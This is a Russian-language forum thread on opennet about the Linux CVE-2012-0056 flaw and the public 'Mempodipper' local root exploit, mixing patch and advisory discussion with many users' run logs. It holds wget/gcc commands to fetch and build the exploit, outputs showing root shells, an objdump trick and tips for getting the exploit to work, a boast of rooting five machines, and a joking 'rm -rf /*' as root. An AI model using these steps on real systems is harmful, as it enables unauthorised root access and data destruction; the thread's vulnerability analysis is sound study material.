URL:
Новость: http://www.opennet.me/opennews/art.shtml?num=32872
Работает - запускал в виртуалке (фиг знает что там за shell code):Ядро 3.2.1:
$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/2684/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x8049a44.
[+] Calculating su padding.
[+] Seeking to offset 0x8049a38.
[+] Executing su with shellcode.
# whoami
root
> Работает - запускал в виртуалке (фиг знает что там за shell code):А оно там со _всеми_ исходниками, и прога, и шеллкод.
См http://git.zx2c4.com/CVE-2012-0056/tree/Субъективно - довольно простой и честный код, не вижу откровенных заподлян в отличие от кислотных сук с крайне мутным кодом и хзчтоделающим шеллкодом.
C grsecurity не сработал эксплойт.
а с SELinux ?
Зависит от обрезанности /proc.
Ого, какая продинутая и нетривиальная атака. Целый детектив по обходу затычек и проверок, с epic win-ом в конце. Обнаруживший это - реальный молоток, с мышлением истинного хакера. Там где программист думает "как сделать чтобы работало", хакер думает "а как бы мне сделать чтобы оно нае...лось?!"
Linux localhost 3.2.0-10-generic #17-Ubuntu SMP Thu Jan 19 19:04:20 UTC 2012 x86_64 x86_64 x86_64 GNU/Linuxтоже работает
> Linux localhost 3.2.0-10-generic #17-Ubuntu SMP Thu Jan 19 19:04:20 UTC 2012 x86_64
> x86_64 x86_64 GNU/Linux
> тоже работаетмы атакуем ваш localhost )
Порутал 5 машин уже, спасибо.
> Порутал 5 машин уже, спасибо.:)))) ай какой нехорооооший....
2.6.32-5-686-bigmem SMP i686 Debian Squeezeuser@usercomp:/tmp/1$ ./a.out
...
[+] Seeking to offset 0x8049a29.
[+] Executing su with shellcode.
user@usercomp:/tmp/1$ЧЯДНТ?
Написано же - с ядер. 2.6.39
> ЧЯДНТ?Новость не читаешь. Там русским по болотному написано: работает для ядер .39 и новее.
номер ядер сравни :)
> 2.6.32-5-686-bigmem SMP i686 Debian Squeeze
> ЧЯДНТ?Перечитайте о каких версиях ядра идёт речь.
читаешь хреново...
>= 2.6.39
Сказано: начиная с 2.6.39.
В Debian 2.6.39 только в testing и backports.
Мне так показалось, что выше не совсем ясно сказали, что дело в версии ядра, а потому я тоже обращу на это внимание.
обратите внимание на версию ядра
да-да, обратите внимание на версию ядра
> да-да, обратите внимание на версию ядраДумаю, нужно всё-таки ядро поновее, .39 там или выше. Обратите внимание на версию ядра.
Скорее всего, дело в версии вашего ядра.
Для тугодумов: человек акцентировал внимание на том, что не нужно гнаться за версиями. Нужно сидеть на стабильненьком дебиане, без уязвимостей.
ой лол, а сквиз уже не стабилен вдруг? ;)
> ЧЯДНТ?Думаете, в версиях с 2.6.32 по 2.6.39 только цыфырку меняли?
В 2.67.32 вполне может быть дырка, которую уже закрыли в новых версиях.
Дырку от 2.6.39 тоже вполне оперативно закроют.
Сидеть на одной версии можно.
Но что вы будете делать, когда найдут дырку в вашей версии ядра?
дело в том, что в версии .39 была убрана дополнительная проверка, вледствие чего уязвимость и стала возможной.
> с 2.6.32
> В 2.67.32 вполне может быть дырка, которую уже закрыли в новых версиях.Вам привет от Грега КХ и 2.6.32.55.
> Но что вы будете делать, когда найдут дырку в вашей версии ядра?
Про дистрибутивы не слышали? Про обновления безопасности?? Да! Расскажите нам ещё про дИрки!! </tag>
А RHEL то зачем приплели, там 2.6.32
Там не 2.6.32, а своя ветка, уже давно ушедшая от 2.6.32 на приличное расстояние."CVE-2012-0056 affects the Linux kernel as shipped with Red Hat Enterprise Linux 6 from version 2.6.32-220.el6 (RHSA-2011:1530) and later, and Red Hat Enterprise MRG from version 2.6.33.9-rt31.75.el6rt (RHSA-2011:1253) and later. (The kernels shipped with RHSA-2011:1530 and RHSA-2011:1253 included a backport of upstream git commit 198214a7.)"
Проблеме также подвержены свежие ядра из RHEL 6 (новость исправил). Вот анализ от Red Hat:https://access.redhat.com/kb/docs/DOC-69129
https://bugzilla.redhat.com/show_bug.cgi?id=782642Там же - workaround с использованием SystemTap. Другой workaround - убрать пользователям доступ ко всем SUID/SGID программам.
К сожалению, исправление в git от 17-го января привносит другую проблему, сравнительно небольшую (обход RLIMIT_NPROC * RLIMIT_AS):
http://www.openwall.com/lists/oss-security/2012/01/22/5
Дискуссия на /r/netsec:
http://www.reddit.com/r/netsec/comments/os8wl/linux_local_pr.../
Более старые ядра именно этой атаке не подвержены, но могут быть подвержены схожим атакам через чтение (а не запись) того же /proc/<pid>/mem. Конкретных атак (attack vectors) пока нет (пока не нашли такой программы и такого способа атаки, чтобы это было проблемой безопасности); в теории, это может быть утечка криптографических ключей, хешей паролей и т.п. Исправление этого обсуждается. В любом случае, это будет другой номер CVE.
Читать ваши комментарии на опеннете, пожалуй, интереснее всех остальных.
> На данный момент ни один из дистрибутивов данную ошибку не закрыл.Debian stable не повержен насколько я понял.
>> На данный момент ни один из дистрибутивов данную ошибку не закрыл.Неправда.
> Debian stable не повержен насколько я понял.
Он и не был подвержен с 2.6.32, очевидно. А в альте исправили три дня тому в 3.0/3.2:
http://packages.altlinux.org/en/t6/srpms/kernel-image-std-de...
http://packages.altlinux.org/en/t6/srpms/kernel-image-un-def...
> А в альте исправили три дня тому в 3.0/3.2:
> http://packages.altlinux.org/en/t6/srpms/kernel-image-std-de...
> http://packages.altlinux.org/en/t6/srpms/kernel-image-un-def...По поводу ASLR/PIE в качестве защиты.
В ядре 2.6.26 /proc/*/maps выставлен флаг чтения для ВСЕХ.
Более новых ядер у меня нет, чтоб посмотреть.
Проверьте у себя.JFYI:
http://cvsweb.netbsd.org/bsdweb.cgi/src/sys/miscfs/procfs/pr...
uname -a
Linux big.home.local 3.2.1-gentoo #1 SMP Sat Jan 14 19:21:48 MSK 2012 x86_64 AMD Athlon(tm) II X2 215 Processor AuthenticAMD GNU/Linuxне работает :S
./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/9108/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178
скопируй в /bin/su любой суидный исполняемый файл, заработает.
> скопируй в /bin/su любой суидный исполняемый файл, заработает.а может, сразу уже пароль рута вести и не мучаться?
> а может, сразу уже пароль рута вести и не мучаться?Угадать адрес в su как-то зело проще чем пароль от рута.
Разные машины с Gentoo, ядра 2.6.39.3, 3.0.8, 3.1.6.
Ни один из эксплойтов не работает 8-P
Ну это же Gentoo. Надо было курить маны, потом пересобирать! ;)
в генте /bin/su нечитаем для обычного юзера - надо указывать оффсет вручную. в моей генте подошло -o 0x402100
> в генте /bin/su нечитаем для обычного юзера - надо указывать оффсет вручную.В ALT -- обычно тоже, доступных всем suid binaries негусто.
> В ALT -- обычно тоже, доступных всем suid binaries негусто.А зачем нужен su недоступный пользователю? :))
>> В ALT -- обычно тоже, доступных всем suid binaries негусто.
> А зачем нужен su недоступный пользователю? :))1) для понижения привилегий рутом;
2) если недоступен всем, то это ещё не значит, что недоступен и wheel.
> 1) для понижения привилегий рутом;А я почему-то всегда думал что su в основном нужен чтобы разрешить сильно некоторые административные операции выборочно некоторым пользователям, гранулярно, контролируемо и не более чем необходимо. Обувание рута на права - напоминает закручивание гвоздя отверткой. Если права не нужны - зачем тогда рутом логиниться?
> 2) если недоступен всем, то это ещё не значит, что недоступен и wheel.
Наверное прикольно когда права доступа раскиданы по 2 разным местам - участию в группе и самому конфигу суды. Мне такой подход кажется несколько кривым/неудобным.
> А я почему-то всегда думал [...]http://www.opennet.me/openforum/vsluhforumID3/73378.html#19
> Если права не нужны - зачем тогда рутом логиниться?
Необязательно эти права унаследованы от login(1). :)
>> 2) если недоступен всем, то это ещё не значит, что недоступен и wheel.
> Наверное прикольно когда права доступа раскиданы по 2 разным местам - участию
> в группе и самому конфигу суды.В конфиг смотрит сама программа, а вот группой можно ограничить доступ на её запуск.
> Мне такой подход кажется несколько кривым/неудобным.
В ALT (и как понимаю -- Owl) это может быть control sudo wheelonly: http://www.altlinux.org/Control
Упс. Я тормоз и почему-то подумал в этот момент о sudo, на основании чего меня проглючило. Высказанное насчет правов относилось больше к sudo вообще. В том плане что через него удобно пользователя подбрасывать в правах на немного и для сильно некоторых операций.
> А зачем нужен su недоступный пользователю? :))доступность для запуска != доступность для чтения. ваш Кэп.
зачем читать su?
> доступность для запуска != доступность для чтения. ваш Кэп.А, я думал пользователя просто совсем обули на какую либо деятельность с su. А в чем профит запрета чтения файла su при доступности его выполнения? Если в затыкании сплойтов типа этого - так это совсем уж как-то в стиле "windows xp with firewall.jpg" - серьезно настроенный деятель адрес так или иначе добудет. Хотя-бы взяв файл из пакета.
> А в чем профит запрета чтения файла su при доступности его выполнения?а зачем обычному юзеру его читать? мало ли, какая там информация, всё-таки suid.
> а зачем обычному юзеру его читать? мало ли, какая там информация, всё-таки suid.Собственно, обычный пользователь может его из пакета качнуть, так что если там какая информация - она и так добываема этим пользователем.
> Собственно, обычный пользователь может его из пакета качнутьорли? не путаем админа локалхоста и «обычного юзера»?
да, я в курсе, что пакет может добыть из интернетов кто угодно. если человек знает, что это, где это и так далее — это уже не обычный юзер. раз.
два: под словами «обычному юзеру» вполне очевидно подразумевалось «программа с правами обыкновенного лимитированого юзера». если в твоём кругу принято читать распечатки машинного кода на ночь — я рад за тебя. в моём — не принято.
>> доступность для запуска != доступность для чтения. ваш Кэп.
> А, я думал пользователя просто совсем обули на какую либо деятельность с
> su. А в чем профит запрета чтения файла su при доступности
> его выполнения? Если в затыкании сплойтов типа этого - так это
> совсем уж как-то в стиле "windows xp with firewall.jpg" - серьезно
> настроенный деятель адрес так или иначе добудет. Хотя-бы взяв файл из
> пакета.Сколько вон дырок находили в glibc. Не удивлюсь, если завтра опять через дыру в дебрях ld.so/ldd можно будет получить рута. Ну, кроме ldd /path/to/crafted/elf.
ну это, наверное, PIC "виноват"?:)
> ну это, наверное, PIC "виноват"?:)ls -la /proc/1/maps; uname -srm
что говорят?
Сырцы обновили, теперь в указании смещения нет необходимости. 3.1.6-gentoo — работает.
что-то не вижу обновлений.
http://git.zx2c4.com/CVE-2012-0056/
> http://git.zx2c4.com/CVE-2012-0056/хм. таки да.
Ну ты не так собрал :)
А для ARM будет работать?
Будет, но эксплоит нужен соответсвующий..
> А для ARM будет работать?По дефолту не будет. Там в нескольких местах есть:
#else
#error "That platform is not supported."
#endifНо в принципе и для ARM можно поправить при сильном желании. Нет шеллкода и некоторые архитектурозависимых сущностей.
Linux fix-laptop 3.2.1-1-ARCH #1 SMP PREEMPT Fri Jan 13 06:50:31 CET 2012 x86_64 Intel(R) Core(TM) i7-2617M CPU @ 1.50GHz GenuineIntel GNU/LinuxПодозреваю, что уже пофиксено? Тогда в топике дезинформация - Arch не попадает в список.
Хм... пишут, что на 3.2.1 все же работает.
Получается, что дырка до сих пор не исправлена даже в официальном ядре?
> Получается, что дырка до сих пор не исправлена даже в официальном ядре?Исправлена 17-го числа. 3.2.1 вышел раньше. 3.3-rc1 вышел 19-го и, думаю, уже содержит это исправление.
Тоже ядро, тот же Arch. Не работает: segmentation fault ./mempodipper
> Тоже ядро, тот же Arch. Не работает: segmentation fault ./mempodipperКак его вообще скомпилить %) ???
$ wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
$ gcc mempodipper.c
$скомпилен файл a.out. разве это сложно? :)
подтверждаю. в арче не работает.
В https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0056 написано:
> Candidate assigned on 20111207Это страшно.
Вовсе не страшно. CNA, включая Red Hat, получают пулы CVE-номеров заранее, еще не под конкретные уязвимости. Как я понимаю, видимая на cve.mitre.org дата - это дата выделения очередного пула в данном случае Red Hat'у.http://cve.mitre.org/cve/cna.html
А реально этот CVE-номер был присвоен именно этой уязвимости вот где и когда:
http://www.openwall.com/lists/oss-security/2012/01/18/2
т.е. почти сразу после исправления в git и первого постинга в oss-security - собственно, он и был CVE request'ом (в данном случае от одного сотрудника Red Hat другому, но публично - в целях transparency процесса и доступности CVE id сразу и другим distro vendors).
Red Hat здесь сработал отлично. Я не вижу, что они могли сделать лучше.
Снова человеческий фактор легкомыслия. Исправления таких вещей надо публиковать после того как вендоры выпустят обновления (лучше на день или два позже).Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?
> Исправления таких вещей надо публиковать после того как вендоры выпустят обновленияэто да, ато вдруг внезапно выяснится, что apt-get-kiddies не в состоянии патч наложить.
> Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?
точно не скажу, но без виртуализации я бы не рискнул. Более тонкий вопрос: внутри одной конторы. Например кроме админа есть товарисчи, имеющие шелл. Они вроде как и свои, но как бы не сильно хотелось, чтобы у них был рут.
> это да, ато вдруг внезапно выяснится, что apt-get-kiddies не в состоянии патч
> наложить.У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно с новостью :)
> У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно
> с новостью :)У других апгетчиков, нестабильных, апдейт пока прилетать не планирует.
> У других апгетчиков, нестабильных, апдейт пока прилетать не планирует.В убунтах например прилетело очень быстро, буквально вместе с новостью.
> У аптгетчиков уже апдейт прилетел, приколись? Оперативно работают, ядро прилетает одновременно с новостью :)В комплекте с закрытием этой уязвимости - прилетело открытие новой.
В общем, нет покоя аптгетчикам :)
> В комплекте с закрытием этой уязвимости - прилетело открытие новой.(глядя в почту) В упор не наблюдаю.
> В общем, нет покоя аптгетчикам :)
apt-get yaawn :)
> В комплекте с закрытием этой уязвимости - прилетело открытие новой.Что за новая уязвимость? Пруф?
> В общем, нет покоя аптгетчикам :)
А остальные чем принципиально лучше/хуже? У них дырки чтоли персональные? :)
> Что за новая уязвимость? Пруф?http://www.openwall.com/lists/oss-security/2012/01/22/5
> А остальные чем принципиально лучше/хуже? У них дырки чтоли персональные? :)
Нет, это у убунты персональные дырки. Потому что ее "разработчикам" лень проверять патчи, которые они применяют.
> Нет, это у убунты персональные дырки. Потому что ее "разработчикам" лень проверять
> патчи, которые они применяют.А остальные как обрулили проблему озвученную в рассылке?
>Неужели и в наш век в сети можно найти сервис где локальные учетки раздают?Не обязательно. На вэб-хостинг к примеру достаточно php-shell заалоадить.
Вариант вывалится из под контроля процесса под его привелегии я понимаю. Но спрашивал я именно про локальные учетки. Почему-то мне думается что уже повсюду контейнеры ..
> Почему-то мне думается что уже повсюду контейнеры ..Shared hosting действительно у многих перемещается в контейнеры, но внутри них по-прежнему создаются сотни аккаунтов, в том числе с SSH-доступом. (Правда, у нас там нет ни одной доступной пользователю SUID root программы - контейнеры под shared hosting создаем на основе Owl.) Создавать по контейнеру на каждого клиента shared hosting'а непрактично.
Далеко не все используют контейнеры для затыкания рутовых зеро-дэй, которые ожидаются by design. Равно как и далеко не все используют контейнеры для дозагрузки простаивающих многоядерников. Не у всех они простаивают и не всем нужно аргументированно дозагрузить камни и получить обоснование для покупки нового харда/откатов.
> Далеко не все...и пусть их.
> Равно как и далеко не все используют контейнеры для дозагрузки
> простаивающих многоядерников. Не у всех они простаивают и не всем нужно
> аргументированно дозагрузить камни и получить обоснование для покупки нового харда/откатов.Не знаю как у вас, а у нас в линуксе оверхед от контейнеров (lxc) практически нулевой.
Процесс из контейнера отличается от процесса хоста только идентификаторами пространств имен.
> Далеко не все используют контейнеры для затыкания рутовых зеро-дэй, которые ожидаются by
> design. Равно как и далеко не все используют контейнеры для дозагрузки
> простаивающих многоядерников.Нагрузка от LXC контейнеров практически по нулям (ну может пару процентов отличие, без микроскопа фиг заметишь). А разграничение довольно неплохое. Там и список процессов будет свой, и сетка и что там еще. И рут в LXC, если надо, может быть "фэйковым", лишенным прав везде кроме своего загончика. Так что если его даже и получат - не так уж и страшно.
Telepath mode: а вы наверное бсдшник и хотели сказать "у нас этого нет, поэтому оно не нyжно".
> И рут в LXC, если надо, может быть "фэйковым", лишенным прав везде кромеНа данный момент разве что при условии монтирования /proc в режиме ro. И не с помощью родных утилит LXC, которым требуется CAP_SYS_MOUNT внутри контейнера.
> Telepath mode: а вы наверное бсдшник и хотели сказать "у нас этого
> нет, поэтому оно не нyжно".Во FreeBSD давно есть jails.
> Нагрузка от LXC контейнеров практически по нулям (ну может пару процентов отличие,
> без микроскопа фиг заметишь). А разграничение довольно неплохое. Там и список
> процессов будет свой, и сетка и что там еще. И рут
> в LXC, если надо, может быть "фэйковым", лишенным прав везде кроме
> своего загончика. Так что если его даже и получат - не
> так уж и страшно.О великий аноним, может ты дашь мне доступ к своему контейнеру на не обновленном ядре?
> Далеко не все используют контейнеры для затыкания рутовых зеро-дэйТогда пусть не обижаются потом крутым руткитам и тому факту что их ресурсы использовали нашару.
Ubuntu 11.10. Работает.
.............[+] Calculating su padding.
[+] Seeking to offset 0x4021cc.
[+] Executing su with shellcode.
#
# id
uid=0(root) gid=0(root) groups=0(root),4(adm),20(dialout),24(cdrom),46(plugdev),115(lpadmin),117(admin),122(sambashare)
# rm -rf /*:)))
debian testing тоже работает
> # rm -rf /*
> :)))--no-preserve-root забыли.
Со звездочкой - необязательно, preserve-root все равно не работает.
$ wget http://git.zx2c4.com/CVE-2012-0056/plain/mempodipper.c
$ gcc -o mempodipper mempodipper.c
$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/19890/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1e70.
[+] Calculating su padding.
[+] Seeking to offset 0x1e62.
[+] Executing su with shellcode.$ whoami
test$ id
uid=500(test) gid=501(test) groups=501(test)ЧЯДНТ?
$ cat /etc/redhat-release
CentOS release 6.2 (Final)$ uname -r
2.6.32-220.2.1.el6.x86_64
> ЧЯДНТ?Читать не умеете: во всех ядрах 2.6.39 и выше
... и в RHEL 6 начиная с 2.6.32-220.el6, согласно Red Hat'у. Так что CentOS 6 с этой версией ядра должен быть уязвим. Но там могут быть другие отличия, ломающие конкретный эксплойт.
Это немного странно, хотя не-работа конкретного эксплойта мало что значит. Если разбираться, я бы начал с проверки наличия mem_write с помощью вот этой тестовой программки: https://bugzilla.redhat.com/attachment.cgi?id=556461
Как многие уже догадались, на RHEL 6 и некоторых других системах, где опубликованные эксплойты как-бы не работают, дело в ASLR и PIE. Для успешной атаки потребуется другая SUID/SGID-программа (собранная не как PIE, но тоже выводящая что-то подходящее в stdout или stderr) или обход ASLR (много запусков) или выключенный ASLR. Ядро обновлять нужно - и как можно скорее.http://www.openwall.com/lists/oss-security/2012/01/24/2
"On Red Hat Enterprise Linux 6, /bin/su (coreutils) and /usr/bin/gpasswd (shadow-utils) are protected at compile time by PIE."
https://access.redhat.com/kb/docs/DOC-69129
"2012-01-24: Article updated to reflect the release of the Red Hat Security Advisory RHSA-2012:0052, which fixes the CVE-2012-0056 flaw for Red Hat Enterprise Linux 6. The article was also updated to provide more information about generating a SystemTap kernel module for other computers, and to clarify that the publicly-circulated exploits do not affect Red Hat Enterprise Linux 6 and Red Hat Enterprise MRG at the time of writing."
ilya@ILYA:/tmp> uname -a
Linux ILYA 3.2.1-3-desktop #1 SMP PREEMPT Fri Jan 13 10:38:45 UTC 2012 (2eca2bf) x86_64 x86_64 x86_64 GNU/Linux
ilya@ILYA:/tmp> gcc ./a.c -o c
ilya@ILYA:/tmp> ./c
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/30336/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x25e0.
[+] Calculating su padding.
[+] Seeking to offset 0x25be.
[+] Executing su with shellcode.
ilya@ILYA:/tmp> whoami
ilyaЭто я что то не так делаю, или в openSUSE этого бага нету?
Таки в openSUSE этот эксплоит НЕ пашет :)
Конечно при постоянном обновлении, хотя последний раз обновлялся 21-ого.
> Таки в openSUSE этот эксплоит НЕ пашет :)...что ничего не означает о наличии или отсутствии этой уязвимости. :-)
Я и не спорю, про уязвимость в целом, но констатирую отдельный факт.
Да, у меня тоже в OpenSuSe не пашет
Debian wheezy/sid : работает.
3.2.0-1-amd64 #1 SMP Thu Jan 19 09:46:46 UTC 2012 x86_64 GNU/Linux$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/13591/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401fa8.
[+] Calculating su padding.
[+] Seeking to offset 0x401f9c.
[+] Executing su with shellcode.
# whoami
root
В Debian Squeeze обновленного из backports с ядром 2.6.39 норм запустился.
А в OpenSuSE 12.1 с ядром 3.1 молча весь вывод пробегает, но su терминал не предоставляет... Печаль :-(
Вопрос походу отпал.
Они 5 января уязвимость пофиксили вроде как. И хотя я еще не разу её не обновил, но скачал DVD и устанавливал около 15числа.
3.3-rc1 - не работает :)> ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6675/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x401dd0.
[+] Calculating su padding.
[+] Seeking to offset 0x401dc2.
[+] Executing su with shellcode.
> whoamivizor
web ? )
bash-4.1$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1864/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[-] Could not resolve /bin/su. Specify the exit@plt function address manually.
[-] Usage: ./a.out -o ADDRESS
[-] Example: ./a.out -o 0x402178
bash-4.1$ su
Password:
bash-4.1# objdump -d /bin/su|grep 'exit@plt'|head -n 1|cut -d ' ' -f 1|sed 's/^[0]*\([^0]*\)/0x\1/'
0x8049648
bash-4.1# exit
exit
bash-4.1$ ./a.out -o 0x8049648
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1878/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Calculating su padding.
[+] Seeking to offset 0x804963c.
[+] Executing su with shellcode.
bash-4.1$ whoami
user
bash-4.1$ uname -a
Linux localhost 3.2.1-diamond-ironic #5 Wed Jan 18 16:07:15 GMT+3 2012 i686 Intel(R) Pentium(R) 4 CPU 2.40GHz GenuineIntel GNU/LinuxОпять придется перезагружаться если Пароль забуду :(
[user0@homelinux test]$ ./a.out
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/1816/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x80493d0.
[+] Calculating su padding.
[+] Seeking to offset 0x80493ae.
[+] Executing su with shellcode.
Ошибка сегментирования
[user0@homelinux test]$
Linux homelinux 3.2.1-1-ARCH
> Ошибка сегментированияВ арче даже сплойты работают с багами :)
> Дополнение 3: Вышло обновление с устранением уязвимости для Ubuntu 11.10.Вот это скорость. В Fedora обновление в лучшем случае в среду вечером выйдет.
В Арче тоже уже доступно.
> Вот это скорость. В Fedora обновление в лучшем случае в среду вечером выйдет.Но зато оно не будет содержать новую уязвимость, в отличие от :)
> Но зато оно не будет содержать новую уязвимость, в отличие от :)Что за новая уязвимость? Откуда дровишки?
В Mandriva 2011 не работает. Ни 38 ядром, ни с 39.
Странно:glsa-check -t all
This system is not affected by any of the listed GLSAsuname -r
3.2.1-gentoo
> Странно:
> glsa-check -t all
> This system is not affected by any of the listed GLSAs
> uname -r
> 3.2.1-gentooНа ядра GLSA не публикуют.
Linux da_desktop 3.1.9-1.fc16.i686.PAE #1 SMP Fri Jan 13 16:57:54 UTC 2012 i686 i686 i386 GNU/Linux{den@da_desktop}-> ~ $gcc -o rk rk.c
{den@da_desktop}-> ~ $./rk
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4470/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1524.
[+] Calculating su padding.
[+] Seeking to offset 0x1516.
[+] Executing su with shellcode.
{den@da_desktop}-> ~ $whoami
denНе работает.
в aptosid ещё 20 числа выпустили апдейт
RHEL 6.1 - не работает
Трижды попробовал. ЧЯДНТ? :([dAverk@dAverk ~]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/7121/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x21a8.
[+] Calculating su padding.
[+] Seeking to offset 0x2186.
[+] Executing su with shellcode.
[dAverk@dAverk ~]$ whoami
dAverk
[dAverk@dAverk ~]$ uname -a
Linux dAverk.4820TG 3.1.7-1.fc16.x86_64 #1 SMP Tue Jan 3 19:45:05 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
[dAverk@dAverk ~]$ cat /etc/redhat-release
RFRemix release 16 (Verne)
[dAverk@dAverk ~]$ id
uid=1000(dAverk) gid=1000(dAverk) группы=1000(dAverk)
Ща ещё обновимся до 3.1.9 и заодно на 6м центе и дебах 5/6 посмотрим-с
> Ща ещё обновимся до 3.1.9 и заодно на 6м центе и дебах
> 5/6 посмотрим-сна 3.1.9 тоже не завелось
[dAverk@dAverk ~]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/4219/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x21a8.
[+] Calculating su padding.
[+] Seeking to offset 0x2186.
[+] Executing su with shellcode.
[dAverk@dAverk ~]$ id
uid=1000(dAverk) gid=1000(dAverk) группы=1000(dAverk)
[dAverk@dAverk ~]$ whoami
dAverk
[dAverk@dAverk ~]$ cat /etc/redhat-release
RFRemix release 16 (Verne)
[dAverk@dAverk ~]$ uname -a
Linux dAverk.4820TG 3.1.9-1.fc16.x86_64 #1 SMP Fri Jan 13 16:37:42 UTC 2012 x86_64 x86_64 x86_64 GNU/Linux
на 5м дебе старое ядро, на 6м работает.
На 6й центе даже gcc отродясь не было, но ради такого я даже поставил, но нихчего[admin@samba ~]$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/9249/mem in child.
[+] Sending fd 5 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x1e70.
[+] Calculating su padding.
[+] Seeking to offset 0x1e4e.
[+] Executing su with shellcode.
[admin@samba ~]$ id
uid=506(admin) gid=506(admin) группы=506(admin)
[admin@samba ~]$ whoami
admin
[admin@samba ~]$ cat /etc/redhat-release
CentOS release 6.2 (Final)
[admin@samba ~]$ uname -a
Linux samba.unesko 2.6.32-131.17.1.el6.x86_64 #1 SMP Thu Oct 6 19:24:09 BST 2011 x86_64 x86_64 x86_64 GNU/Linuxкстати в какой репе 2.6.32-220 ядро? у меня не находит обновления :(
на 2.6.32-220 Centos 6 Не заработало
[admin@samba ~]$ uname -a
Linux samba.unesko 2.6.32-220.2.1.el6.x86_64 #1 SMP Fri Dec 23 02:21:33 CST 2011 x86_64 x86_64 x86_64 GNU/Linux
> на 5м дебе старое ядро, на 6м работает.Ты что-то попутал. В squeeze 2.6.32
>> на 5м дебе старое ядро, на 6м работает.
> Ты что-то попутал. В squeeze 2.6.32Каюсь - чёрт меня попутал. На тестовой машине смотрел, а у меня там из wheezy ядрышко :)
На Gentoo 3.1.5-hardened x86_64 не работает.
Даже chmod a+r /bin/su не помогает.
Вот так всегда :(
test@naodesu ~/CVE-2012-0056 $ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================[+] Opening socketpair.
[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
